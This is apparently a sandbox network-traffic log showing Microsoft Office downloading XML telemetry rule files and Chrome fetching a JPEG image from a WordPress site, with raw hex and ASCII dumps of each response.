2024-10-07 12:10:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49874	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d415a278-e01e-0051-6efe-1684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121030Z-1657d5bbd48vhs7r2p1ky7cs5w00000003v0000000004czf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49878	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:30 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 7c825ef0-601e-0001-5f02-17faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121031Z-1657d5bbd48qjg85buwfdynm5w00000003eg00000000gpn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49880	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 4c0632d0-601e-0097-4413-17f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121031Z-1657d5bbd48wd55zet5pcra0cg00000003a000000000k8kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49881	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: b27116a7-a01e-003d-3a00-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121031Z-1657d5bbd48vhs7r2p1ky7cs5w00000003ug000000005ztp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49883	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: e970a92c-d01e-0065-4cac-18b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121031Z-1657d5bbd48hzllksrq1r6zsvs00000000mg00000000cpp3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49882	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 12:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a62739ea-301e-005d-6402-17e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T121031Z-1657d5bbd48tnj6wmberkg2xy800000003e000000000hxep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 12:10:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49886	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:31 UTC	656	OUT	GET /2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1314529000.1728303014; _gid=GA1.2.1855941040.1728303014; _gat=1; browserupdateorg=pause; _gd_visitor=5e9bfaf0-8ea6-4f46-812a-70a9d9bba360; _gd_session=2821918b-9d64-448f-8711-bb8bc4873408; _ga_E694J4CV2M=GS1.2.1728303016.1.1.1728303029.0.0.0
2024-10-07 12:10:31 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 16 Nov 2020 18:15:55 GMT Accept-Ranges: bytes Content-Length: 80940 Content-Type: image/jpeg
2024-10-07 12:10:31 UTC	7958	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 02 60 04 8f 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC`"}!1AQa"q2
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 25 a9 7e dd 3f 31 8e da c2 09 1f b2 a4 8c ff 00 c8 0a f0 2b cf 0f 68 70 64 cf 24 f7 8d ff 00 4d 64 27 f9 55 35 5b 48 d4 a5 9e 9e 90 29 fe 21 f2 fe bd 6a ff 00 b3 e9 ad 2c 65 f5 b9 b3 d9 b5 2f db 3b c6 17 31 9f b2 59 db da a7 f7 8c 41 54 7d 59 ce 2b 86 d7 3f 6c 2f 15 cb b9 06 bf 2c b2 f4 31 e9 ca 18 2f fc 09 56 b8 d1 a7 59 cc db e6 b4 86 66 ff 00 a6 a0 bf f3 ad 28 a6 8a dd 71 1c 71 44 07 41 1c 60 56 b1 c1 c1 74 33 78 99 be a6 4e a5 f1 ff 00 c7 7a e3 1d 8d ac 5c 82 71 96 77 c7 f3 ac 49 bc 45 e3 fd 5b e6 fb 0c eb bb f8 a6 70 3f 9d 76 0d a9 32 ff 00 19 1f 8d 42 da 89 63 dd bd eb 75 86 8c 4c dd 76 71 c7 47 f1 d5 f6 7c cb 88 6d 87 7d d3 73 fa 52 7f c2 bd f1 05 c7 37 3a e4 31 e7 fb b9 63 fa d7 58 6f 24 63 c2 e6 99 e7 5c 49 fc 26 b5 54 23 d8 87 55 d8 e6 53 e1 6e Data Ascii: %~?1+hpd$Md'U5[H)!j,e/;1YAT}Y+?l/,1/VYf(qqDA`Vt3xNz\qwIE[p?v2BcuLvqG\|m}sR7:1cXo$c\I&T#USn
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: d7 ca 9a 1f 8a 11 95 76 e4 f1 dc 9a ee f4 7d 7a 46 c7 cc a0 7e 75 eb 46 84 24 b4 56 39 65 27 b3 3e a6 d3 7c 44 24 51 89 41 ff 00 81 56 e5 be b0 18 0f 9b f5 af 9c f4 8f 10 5c 2e dd b2 57 65 a6 f8 aa e5 14 74 6f ad 6b f5 79 2f 85 98 36 99 d8 7c 67 d5 17 fe 15 96 b3 96 c0 c4 7f fa 31 6b e6 7f 84 fa f3 27 ed 23 f0 8a d8 b6 04 9a 6e b3 19 1f 43 c7 f2 af 50 f8 a5 e2 6b 9b cf 01 ea 30 ba 20 56 f2 cf 7e ce b5 f3 1d 97 8c 20 f0 77 ed 05 f0 ab 54 ba 62 b0 c1 a7 6b 40 95 ea 09 2c 07 eb 8a e2 e5 9c 31 a9 3d dc 1f fe 95 13 d4 a5 15 2c 13 7f df ff 00 db 24 75 7f b5 d7 c6 59 fc 6f e3 29 74 0b 29 d8 68 7a 53 98 f6 29 f9 66 98 70 ce 7d 71 d0 7e 3e b5 f3 ac b3 2a 72 c4 0f a9 ae 2b c6 9f 15 24 b8 d6 2e 61 d3 f1 34 ec ec d2 ce dc 8c 93 93 8f 53 58 9a d5 b5 f6 bb 62 92 c7 79 Data Ascii: v}zF~uF$V9e'>\|D$QAV\.Wetoky/6\|g1k'#nCPk0 V~ wTbk@,1=,$uYo)t)hzS)fp}q~>*r+$.a4SXby
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 08 50 a2 bb b9 59 c2 a4 96 87 2f e2 4d 0c 2a 3e d4 15 e6 57 d6 e6 ce e0 fd 6b dd 35 98 56 6b 72 c3 9c 8a f2 7f 14 d8 95 90 b0 5a 23 a1 49 ea 4b e1 7b 9f 32 60 0d 7a df 87 d7 72 a1 cd 78 a7 84 e5 c5 c7 3c 1c f3 5e d1 e1 99 81 55 e6 89 54 51 2d d3 72 3b 7b 5b 71 e5 ae 46 73 53 7d 9c 7a 62 92 de 65 f2 57 e6 ed 52 34 cb 8e b9 ac 5e 20 8f ab b1 9e 48 1c 50 60 1f 8d 06 e1 3b b5 35 af 23 fe f5 2f ac 0f ea ef a8 ef 24 63 38 a6 f9 20 73 4c 6b e8 bf bd 51 b6 a1 10 fe 21 53 f5 81 fd 5c 99 a2 1f 4a 46 8c 01 55 9b 52 8b b9 cf e3 50 be ad 12 f5 6a 3e b0 35 87 65 e2 8a 7a d3 76 8a cb 7d 7e 04 52 0b af 4a a3 37 8a 60 8c 7d e1 4b db b1 fd 5c e8 32 17 da 98 d7 49 1e 7a e3 f3 ae 36 eb c6 c8 b9 00 8a ce 9b c7 3c 1c 1a 5e d2 6f 64 52 a3 15 d4 ef 4e a3 1a f6 6a 67 f6 90 73 80 Data Ascii: PY/M*>Wk5VkrZ#IK{2`zrx<^UTQ-r;{[qFsS}zbeWR4^ HP`;5#/$c8 sLkQ!S\JFURPj>5ezv}~RJ7`}K\2Iz6<^odRNjgs
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: a9 d6 68 59 b8 18 a9 66 ba b4 5c 85 84 fb f3 59 d3 6a 11 c7 90 91 10 71 c7 3c d6 9c a6 65 f8 5a 3d c0 a8 e3 e8 7f 3a b7 1d d0 8f a0 18 1e d5 cd 3e ac d9 ca 2b 0c ff 00 b5 55 db 52 b8 90 e4 9c 7d 0f 14 72 f7 0d 4e cf fb 50 01 81 8a 51 7d bb 3f c5 cf 18 35 c6 0b ab 8e 7e 7c 9a b7 0d c4 bc 65 c8 cd 1c 80 74 ad 79 c6 7f 02 0d 27 db ca f2 c4 56 27 1b 72 67 c9 fa d4 d1 c8 99 c7 9d 93 9c d3 51 41 b1 7e 6b ec ff 00 4c 74 aa 12 de 11 9f 98 e3 b1 a9 8b c4 40 cb 36 7b e2 aa cf 24 5b 48 f9 8f a6 29 35 d8 9b 94 a7 bb cf 01 98 ff 00 2a a1 35 d1 2b 85 e6 ad 5c 14 e7 07 ea 2a 9b 30 c7 1d 3e b5 9b bf 42 59 52 5b 87 5c e4 10 05 67 cb 74 dd 72 4d 68 5d e7 69 f9 6b 16 6c ee 27 77 06 b9 dd d9 3b 83 4c 59 8f 24 8f 6e b5 7e ce e8 a1 1d 4f d0 56 52 a7 4f bd 56 a1 ce e1 92 47 61 Data Ascii: hYf\Yjq<eZ=:>+UR}rNPQ}?5~\|ety'V'rgQA~kLt@6{$[H)55+\0>BYR[\gtrMh]ikl'w;LY$n~OVROVGa
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 19 a3 b1 b8 92 10 03 17 58 58 ae 0f 43 9c 74 ae 9b c2 3f 14 65 f0 4e 9f 71 62 9a 2e 9b a8 96 9d a5 13 5e 45 b9 d7 23 1b 47 b6 46 6b 7b fe 1a 2b 58 85 76 41 a5 58 41 0e e2 44 69 b8 2e df ee e3 d3 af e7 5d 3e ca 8b 77 94 ed f2 38 be b1 8a 8c 57 b3 a5 7d b5 e6 3c a6 ea de 48 d9 83 c5 22 32 fd ed ca 78 fa fa 56 ff 00 8e f2 35 3b 3c 9c 8f b0 c0 07 fd f3 5d 5d cf c7 2d 56 f2 c6 ea d7 fb 33 4e 8d 2e 15 c3 9d 8c c7 e6 ce 79 27 de b9 2f 1c e1 75 0b 10 3f e7 c6 1f e4 69 4a 30 8c 7d c9 5f e4 38 54 ad 3a d1 f6 b0 e5 df ad fa 19 b1 b6 3c 39 3f 6c 4c 0d 66 05 f3 1b 03 82 4d 5e 8e 4f f8 91 5d 20 3f f2 d0 13 54 e2 ba 8e 15 62 54 39 61 80 73 d2 a6 28 7c de f4 af dc d7 d3 ec 95 2d dd a4 64 8f 77 f1 96 c1 fa 01 5d 1f c3 4d 46 78 fc 51 69 0c 5b 9a d4 4f f3 3e 73 d7 a6 7e b5 Data Ascii: XXCt?eNqb.^E#GFk{+XvAXADi.]>w8W}<H"2xV5;<]]-V3N.y'/u?iJ0}_8T:<9?lLfM^O] ?TbT9as(\|-dw]MFxQi[O>s~
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: 9c 95 75 23 b1 53 5c 9e ad 6e ad 99 01 e3 eb 5e 4e 32 8a f8 a2 7b 18 3a fc be eb 3d 3f c0 9e 30 49 d1 60 92 45 df f5 eb 5e 84 bf 66 bc 8f 6c 91 ac 8a de a3 35 f3 06 93 a8 45 63 74 a4 36 1b 3f 78 36 2b da 3c 1f e2 31 79 6e a8 58 ef 5e bc d4 e1 71 0e 5e ec cb c5 51 8f c5 13 6b 56 f0 16 95 71 27 98 6c 20 90 75 fb 82 a2 b5 f0 9e 9b 6e bf bb b6 8e 33 e9 b4 57 4d 67 75 e6 c6 03 e3 6f 7a 8e e8 d9 da c9 bd d8 ec 26 bb dd 18 5e e9 1e 5a ab 34 ac ce 66 f3 47 5b 65 fd da a8 5f a0 ae 3b 5e 9a e6 df 76 d8 e1 72 39 1e 64 2a 6b d5 5a e3 40 68 f7 4d 76 23 5c 77 7a cc ba 9b c2 1b 72 f7 6b 27 fd b4 14 9c 55 ad 70 e6 7b 9e 20 de 34 bb b4 3b 5e c7 4f 2d 9c 7c d6 8a 6a c4 7e 35 b8 9b ee d8 69 2c 7a 7f c7 a8 ae e7 5c 87 c0 b3 6e 66 31 92 3a fc e2 b8 ad 4a ff 00 c1 96 2e de 44 Data Ascii: u#S\n^N2{:=?0I`E^fl5Ect6?x6+<1ynX^q^QkVq'l un3WMguoz&^Z4fG[e_;^vr9d*kZ@hMv#\wzrk'Up{ 4;^O-\|j~5i,z\nf1:J.D
2024-10-07 12:10:31 UTC	8000	IN	Data Raw: a6 23 fe 0a a9 04 7f eb 7c 1f 75 ef b5 97 fc 69 1b fe 0a c3 a6 47 f7 bc 21 7d f9 8a fc d2 5d 7a 3c 93 e4 a9 f7 24 d3 97 c4 30 a8 f9 a2 4c e3 d4 d5 7d 4e 3f cf 2f bd ff 00 98 7d 65 ff 00 22 fb 91 fa 50 ff 00 f0 56 5d 2c 2e 47 83 ef bf 4a ad 37 fc 15 9e d1 7e ef 82 ef 8f e2 2b f3 7e e3 c5 50 43 09 c4 28 0e 7d 4d 64 ff 00 c2 74 bd 0c 51 63 3d 32 6a be a7 1f e7 7f 7b ff 00 32 7e b4 ef f0 2f b9 1f a4 d3 7f c1 5b 9b 9f 27 c1 17 87 fd e6 5a c8 be ff 00 82 b5 6b 6c 8c 2d bc 15 22 1c 70 5d 87 1f ad 7e 76 ff 00 c2 6d 16 79 8a 20 0d 33 fe 13 b8 d7 90 b1 fe 54 96 0e 9d f5 9b fb df f9 84 b1 52 5b 41 7d cb fc 8f ab bc 71 fb 7d 78 df c7 5a c4 77 f2 3e a5 a6 34 27 31 2d a2 2a 84 fc 8e 4d 57 b5 fd b8 3e 27 e1 7c bf 13 6b e0 7f b4 8a 7f ad 7c b4 3e 20 ed fb ad 1e 3d 80 c5 Data Ascii: #\|uiG!}]z<$0L}N?/}e"PV],.GJ7~+~PC(}MdtQc=2j{2~/['Zkl-"p]~vmy 3TR[A}q}xZw>4'1-*MW>'\|k\|> =
